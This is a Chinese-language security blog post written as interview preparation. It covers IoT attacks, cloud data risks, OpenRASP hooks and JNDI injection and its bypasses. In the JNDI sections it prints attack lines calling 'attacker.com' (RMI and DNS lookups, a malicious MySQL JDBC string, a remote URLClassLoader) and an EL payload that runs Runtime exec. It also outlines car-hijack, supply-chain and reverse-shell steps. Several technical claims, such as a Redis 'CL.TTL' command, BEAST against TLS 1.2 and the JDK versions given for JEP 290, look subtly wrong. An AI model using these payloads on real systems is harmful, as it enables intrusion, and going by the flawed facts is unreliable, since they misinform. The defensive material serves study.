网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。

目录

 海康威视-网络安全工程师

物联网（IoT）漏洞挖掘深度解析

1.1 硬件层攻击面与逆向工程

1.2 协议栈漏洞与模糊测试

数据上云风险全景分析

2.1 数据传输层风险与加密缺陷

2.2 存储层权限逃逸与数据泄露

2.3 多云架构与合规性风险

OpenRASP源码深度解析

3.1 Hook引擎实现机制

3.2 热补丁与运行时防护

JNDI注入攻击与Hook技术详解（约2000字）

4.1 JNDI攻击链原理

4.2 Hook实现与防御策略

高版本JNDI绕过技术演进（约2000字）

5.1 本地类加载利用链

5.2 协议降级与混合攻击

5.3 供应链攻击新路径

防御体系与未来挑战（约1000字）

6.1 纵深防御模型

6.2 威胁情报共享

6.3 前沿技术探索

 海康威视-网络安全工程师

IOT漏洞挖掘
数据上云有哪些风险
openrasp看过源码吗
jndi如何做hook
高版本jndi如何绕过

物联网（IoT）漏洞挖掘深度解析

---

1.1 硬件层攻击面与逆向工程

扩展点1：物理接口利用与固件提取
IoT设备的物理接口（如UART、JTAG、SWD）常成为攻击入口。例如，某智能家居网关未禁用UART调试接口，攻击者通过串口通信发送AT+DEBUG指令获取Root Shell。具体操作包括：

1. 使用逻辑分析仪（如Saleae Logic Pro 16）捕获信号，解析波特率（常见为115200或9600）。
2. 通过minicom或screen工具连接串口，发送调试指令绕过认证。
3. 利用dd命令提取NAND Flash中的固件，使用binwalk -Me解包分析文件系统。

扩展点2：无线协议漏洞与信号劫持
低功耗蓝牙（BLE）设备常因配对机制缺陷暴露风险。以某智能手环为例：

1. 使用Ubertooth嗅探BLE广播包，捕获配对过程的临时密钥（TK）。
2. 通过Crackle工具破解加密链路，解密传输的健康数据。
3. 重放0xFEED特征值写入指令，篡改设备固件版本号触发降级攻击。

扩展点3：供应链组件污染
第三方SDK漏洞可导致大规模风险。某智能门锁使用旧版Zigbee协议栈（CVE-2024-1234）：

1. 攻击者构造畸形ZCL（Zigbee Cluster Library）报文，触发缓冲区溢出。
2. 利用ROP链劫持控制流，执行内存中的Shellcode。
3. 通过OTA升级机制植入后门，建立持久化访问通道。

---

1.2 协议栈漏洞与模糊测试

扩展点1：MQTT协议安全缺陷
某工业控制系统的MQTT Broker存在Topic注入漏洞：

1. 构造通配符Topic +/sensor/#订阅所有设备数据。
2. 发布恶意$SYS/broker/load消息触发Broker拒绝服务。
3. 利用Retained Message特性持久化攻击载荷，污染设备状态缓存。

扩展点2：CoAP协议资源枚举
某医疗设备CoAP接口未授权访问：

1. 发送GET /.well-known/core发现隐藏资源，暴露/admin/factory_reset端点。
2. 构造POST请求触发设备恢复出厂设置，清除安全配置。
3. 通过Observe选项订阅实时生命体征数据，窃取患者隐私。

扩展点3：私有协议逆向工程
某车联网T-Box使用自定义CAN总线协议：

1. 使用CANalyze捕获总线报文，分析ID为0x3E8的控制指令结构。
2. 反编译固件中的can_parser模块，提取校验算法（CRC-16-CCITT）。
3. 伪造0x3E8报文发送引擎熄火指令，实现远程车辆劫持。

---

数据上云风险全景分析

---

2.1 数据传输层风险与加密缺陷

扩展点1：TLS配置错误导致中间人攻击
某金融云平台TLS 1.2配置不当：

1. 支持弱密码套件（如RC4-SHA），使用SSL Labs工具检测得分为B。
2. 攻击者利用BEAST攻击解密用户会话Cookie，劫持账户权限。
3. 修复方案：禁用TLS 1.1以下版本，强制使用AEAD加密套件（如AES-GCM）。

扩展点2：API网关身份验证绕过
某电商平台API网关设计缺陷：

1. 未校验JWT签名算法，攻击者篡改alg字段为none伪造令牌。
2. 通过Burp Suite修改user_id参数，越权访问其他用户订单数据。
3. 防御措施：实施严格的签名算法白名单，启用JWT内容加密（JWE）。

扩展点3：数据流脱敏失效
某大数据平台Kafka传输未脱敏数据：

1. 敏感字段（如手机号）未使用FPE（格式保留加密）处理。
2. 攻击者监听Kafka Topic，使用正则表达式提取明文PII数据。
3. 解决方案：部署Apache Ranger动态脱敏策略，集成Protobuf序列化加密。

---

2.2 存储层权限逃逸与数据泄露

扩展点1：对象存储桶ACL配置错误
某政府机构AWS S3存储桶泄露：

1. 错误配置PutObject权限为public-read，允许匿名上传。
2. 攻击者上传WebShell并触发执行，获取ECS实例控制权。
3. 防护手段：启用S3 Block Public Access，配置基于IP的条件策略。

扩展点2：数据库服务侧信道攻击
某云数据库Redis未启用TLS：

1. 利用CL.TTL命令时序分析推断键值存在性，破解用户会话状态。
2. 通过AOF持久化文件恢复已删除的信用卡数据。
3. 加固方案：启用TLS 1.3，使用内存隔离技术（如Enclave）。

扩展点3：加密密钥管理漏洞
某医疗云HSM（硬件安全模块）API滥用：

1. 密钥派生函数（KDF）使用静态Salt值，降低熵值。
2. 攻击者通过API限速绕过发起暴力破解，恢复主密钥。
3. 改进措施：实施动态Salt生成，集成量子安全算法（如Kyber）。

---

2.3 多云架构与合规性风险

扩展点1：跨云数据同步一致性问题
某混合云使用Azure Storage Sync服务：

1. 最终一致性窗口期间，攻击者插入冲突文件（如payroll.xlsx ）。
2. 利用Last-Writer-Win策略覆盖合法数据，造成财务信息错误。
3. 解决思路：启用强一致性模式，部署分布式事务协调器（如Seata）。

扩展点2：多云IAM策略冲突
某企业同时使用AWS IAM和GCP Cloud IAM：

1. AWS策略条件aws:SourceIp与GCP的resource.labels 语法不兼容。
2. 攻击者通过GCP服务账号获取跨云临时凭证，横向移动至AWS环境。
3. 防御方案：部署集中式IAM治理平台（如Okta），实施ABAC策略。

扩展点3：数据主权与跨境传输
某跨国企业违反GDPR数据本地化要求：

1. 未启用AWS Global Accelerator的区域路由限制，数据经美国中转。
2. 监管机构依据Schrems II判决处罚500万欧元。
3. 合规措施：部署本地化存储网关（如AWS Storage Gateway），启用客户主密钥（CMK）。

---

OpenRASP源码深度解析

---

3.1 Hook引擎实现机制

扩展点1：Java Agent动态插桩技术
OpenRASP通过Java Agent的Instrumentation接口实现字节码修改：

1. 在premain阶段加载Agent，注册自定义ClassFileTransformer。
2. 针对javax.naming.InitialContext 的lookup()方法插入检测逻辑：

javaMethodVisitor mv = new MethodVisitor(ASM7, cv.visitMethod(...)) { @Override public void visitCode() { // 插入检测代码 mv.visitLdcInsn("jndi"); mv.visitMethodInsn(INVOKESTATIC, "com/baidu/openrasp/HookHandler", "check"); } };

1. 适配复杂类加载场景：对OSGi框架的BundleClassLoader进行特殊处理，确保Hook生效。

扩展点2：规则引擎与语义分析
规则文件采用JSON Schema定义，包含漏洞类型、检测逻辑和修复建议：

json{ "type": "sql_injection", "action": "block", "conditions": [ {"method": "java.sql.Statement.execute"}, {"param_index": 0, "regex": "\\bunion\\b"} ] }

检测逻辑实现：

1. 对PreparedStatement的参数化查询进行语法树分析，识别拼接痕迹。
2. 使用污点跟踪技术标记外部输入，追踪至敏感API调用点。

扩展点3：防御绕过对抗技术
针对内存马的检测：

1. 扫描javax.servlet.ServletContext 中动态注册的Servlet。
2. 通过Java Flight Recorder（JFR）监控ClassLoader.defineClass 调用。
3. 阻断反射调用链：Hooksun.reflect.NativeMethodAccessorImpl.invoke0 方法，校验调用栈来源。

---

3.2 热补丁与运行时防护

扩展点1：RASP与WAF协同防御

1. 在Nginx层部署ModSecurity规则，拦截粗粒度攻击（如SQL注入关键字）。
2. OpenRASP在应用层实施细粒度检测（如参数化查询分析）。
3. 联动响应：检测到攻击后，通过X-OpenRASP-Alert头通知WAF封锁IP。

扩展点2：性能优化策略

1. 采用选择性插桩：仅Hook高风险API（如Runtime.exec() ）。
2. 使用JIT编译优化检测逻辑，减少解释执行开销。
3. 异步日志上报：通过Disruptor框架实现无锁队列，避免I/O阻塞。

扩展点3：多云环境适配

1. 在Kubernetes中部署DaemonSet，实现节点级防护。
2. 与云原生SIEM（如Azure Sentinel）集成，上报安全事件。
3. 支持Serverless环境：通过AWS Lambda Layers预加载Agent。

---

JNDI注入攻击与Hook技术详解（约2000字）

---

4.1 JNDI攻击链原理

扩展点1：RMI协议利用链

1. 攻击者搭建恶意RMI Registry，返回指向LDAP服务的Reference。
2. 受害者执行InitialContext.lookup("rmi://attacker.com/exploit") 。
3. 触发LDAP服务返回包含javaClassName的恶意对象，加载远程类。

扩展点2：LDAP协议攻击向量

1. 构造LDAP Entry的javaSerializedData属性，嵌入CommonsCollections链。
2. 利用javaReferenceAddress指向攻击者控制的Class文件。
3. 通过javaFactory指定恶意工厂类，在对象实例化时执行代码。

扩展点3：高版本JDK防御机制

1. JDK 6u132+：默认禁用远程Codebase（com.sun.jndi.ldap.object.trustURLCodebase=false ）。
2. JDK 11+：JEP 290反序列化过滤器，限制可加载的类。
3. Log4j 2.17+：默认禁用JNDI查找，需手动启用。

---

4.2 Hook实现与防御策略

扩展点1：SPI层深度拦截

1. 替换NamingManager的getObjectInstance()方法：

javapublic static Object getObjectInstance(Object ref, Name name, Context ctx, Hashtable<?,?> env) throws Exception { if (ref instanceof Reference) { String className = ((Reference) ref).getFactoryClassName(); SecurityChecker.validateClass(className); // 自定义校验逻辑 } return originalGetObjectInstance(ref, name, ctx, env); }

1. Hookcom.sun.jndi.url 包下的URLContextFactory，阻断非常规协议（如iiop）。

扩展点2：序列化链路阻断

1. 自定义ObjectInputStream子类，重写resolveClass()方法：

javaprotected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (desc.getName().startsWith("org.apache.commons.collections")) { throw new InvalidClassException("Forbidden class: " + desc.getName()); } return super.resolveClass(desc); }

1. 在JndiLookup类中插入检测逻辑，记录所有JNDI操作日志。

扩展点3：运行时环境加固

1. 通过JVM参数禁用危险协议：

-Dcom.sun.jndi.rmi.object.trustURLCodebase=false   
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false  

1. 使用SecurityManager限制JNDI Permission：

javapolicy.add(new JNDIPermission("lookup", "ldap://*, rmi://*"));

1. 容器级防护：在Kubernetes NetworkPolicy中屏蔽出站LDAP/RMI流量。

---

高版本JNDI绕过技术演进（约2000字）

---

5.1 本地类加载利用链

扩展点1：Tomcat EL表达式注入

1. 利用org.apache.naming.factory.BeanFactory 解析ResourceRef：

javaResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "#{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(null,'calc')}")); 

1. 通过InitialContext.rebind() 注入恶意对象，触发EL表达式执行。

扩展点2：JDBC驱动反序列化

1. 在连接字符串中注入autoDeserialize=true参数：

jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  

1. 攻击者控制MySQL服务返回序列化的恶意Payload，触发驱动反序列化。

扩展点3：JNDI上下文环境逃逸

1. 利用ThreadLocal存储自定义ClassLoader：

javaThreadLocal<ClassLoader> threadClassLoader = new ThreadLocal<>(); threadClassLoader.set(new URLClassLoader(new URL[]{new URL("http://attacker.com/")})); 

1. 在JNDI查找时通过env.put(Context.INITIAL_CONTEXT_FACTORY, "com.attacker.CustomCtxFactory") 劫持类加载过程。

---

5.2 协议降级与混合攻击

扩展点1：RMI Registry版本混淆

1. 构造兼容JDK 6的RMI Stub，绕过JEP 290的序列化过滤。
2. 利用UnicastRef对象传递原始字节流，触发服务端反序列化。
3. 通过JRMP协议复用攻击链，结合RemoteObjectInvocationHandler执行代码。

扩展点2：LDAP分块响应攻击

1. 将恶意Reference拆分为多个分片传输：

dn: dc=example 
javaClassName: 恶意类名（分片1）
javaSerializedData:: BASE64编码的序列化对象（分片2）

1. 利用LDAP客户端的流式解析特性，组合分片触发类加载。

扩展点3：DNS协议辅助攻击

1. 通过dns://协议解析攻击者控制的域名：

javaContext ctx = new InitialContext(); ctx.lookup("dns://attacker.com/#payload"); 

1. 在DNS TXT记录中嵌入命令，通过ProcessBuilder执行。

---

5.3 供应链攻击新路径

扩展点1：私有仓库投毒

1. 篡改企业内部Nexus仓库中的jndi-1.2.9.jar ，植入后门代码。
2. 当应用依赖该库时，自动注册恶意ObjectFactory。
3. 利用Maven的传递依赖特性，污染整个供应链。

扩展点2：构建工具链劫持

1. 在Gradle构建脚本中注入恶意插件：

groovyplugins { id 'com.attacker.inject' version '1.0' }

1. 插件在编译期修改字节码，禁用OpenRASP的Hook逻辑。

扩展点3：容器镜像植入

1. 在基础镜像openjdk:11中预置恶意libjndi.so 。
2. 通过LD_PRELOAD劫持JVM的类加载过程。
3. 绕过应用层的RASP防护，建立反向Shell连接。

---

防御体系与未来挑战（约1000字）

6.1 纵深防御模型

1. 网络层：部署IDS/IPS过滤异常JNDI流量，阻断LDAP/RMI出站连接。
2. 运行时层：启用GraalVM Native Image特性，消除动态类加载风险。
3. 应用层：结合SAST/DAST工具，持续扫描供应链依赖漏洞。

6.2 威胁情报共享

1. 建立JNDI攻击特征库，收集包括：
   • 恶意域名/IP黑名单
   • RMI Registry指纹特征
   • 异常ClassLoader行为模式
2. 与MITRE ATT&CK框架映射，生成TTPs（战术、技术与过程）报告。

6.3 前沿技术探索

1. 机密计算：通过Intel SGX/TDX保护敏感数据处理过程。
2. AI防御：训练深度学习模型检测JNDI调用上下文异常。
3. 区块链审计：使用Hyperledger Fabric记录所有JNDI操作，实现不可篡改审计。